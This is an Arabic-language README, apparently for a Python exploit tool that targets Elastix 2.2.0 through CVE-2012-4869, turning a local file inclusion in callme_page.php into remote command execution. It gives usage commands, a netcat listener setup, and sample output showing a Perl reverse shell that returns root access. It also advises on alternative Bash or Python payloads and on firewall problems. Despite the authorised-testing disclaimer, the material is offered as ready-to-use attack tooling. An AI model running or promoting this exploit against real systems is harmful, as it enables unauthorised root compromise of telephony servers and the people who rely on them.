إكسسوار تضمين الملفات المحلية لـ Elastix 2.2.0 - CVE-2012-4869

الوصف

يستغل هذا السكريبت ثغرة تضمين الملفات المحلية (LFI) في Elastix 2.2.0، مما يسمح بتنفيذ الأوامر عن بُعد (RCE) عن طريق حقن الأوامر عبر نقطة النهاية callme_page.php. يعتمد الإكسسوار على CVE-2012-4869.

الميزات

• يتجاوز التحقق من شهادة TLS.
• يستخدم حمولة شل عكسية بلغة Perl.
• يدعم LHOST و LPORT مخصصين للشل العكسية.
• يخفي تحذيرات أمان HTTPS.

المتطلبات

• Python 3
• وحدة requests

قم بتثبيت التبعيات باستخدام:

pip install requests

الاستخدام

python exploit.py <URL> --LHOST <YOUR_IP> --LPORT <YOUR_PORT>

مثال:

python exploit.py "https://10.129.229.183" --LHOST "10.10.14.23" --LPORT 9001

إعداد مستمع الشل العكسية

قبل تشغيل الإكسسوار، ابدأ مستمع Netcat على جهازك:

nc -lvnp 9001

مخرجات تنفيذ الإكسسوار

[*] Running Elastix 2.2.0 LFI Exploit - CVE-2012-4869
[*] Target: https://10.129.229.183
[*] Listening on 10.10.14.23:9001

[+] Exploit sent successfully, waiting for reverse shell...

[+] Connection from 10.129.229.183:41242
$ id
uid=0(root) gid=0(root) groups=0(root)

ملاحظات

• إذا لم تتصل الشل العكسية، تأكد من أن قواعد جدار الحماية وإعدادات SELinux تسمح بالاتصالات الصادرة.
• يمكن استخدام حمولات بديلة (مثل Bash أو Python) إذا كانت Perl غير متوفرة.
• تأكد من أن LHOST الخاص بك يمكن الوصول إليه من الجهاز الهدف.

إخلاء مسؤولية

هذا الإكسسوار مخصص للأغراض التعليمية واختبار الأمان المصرح به فقط. الاستخدام غير المصرح به غير قانوني. المؤلف غير مسؤول عن إساءة استخدام هذه الأداة.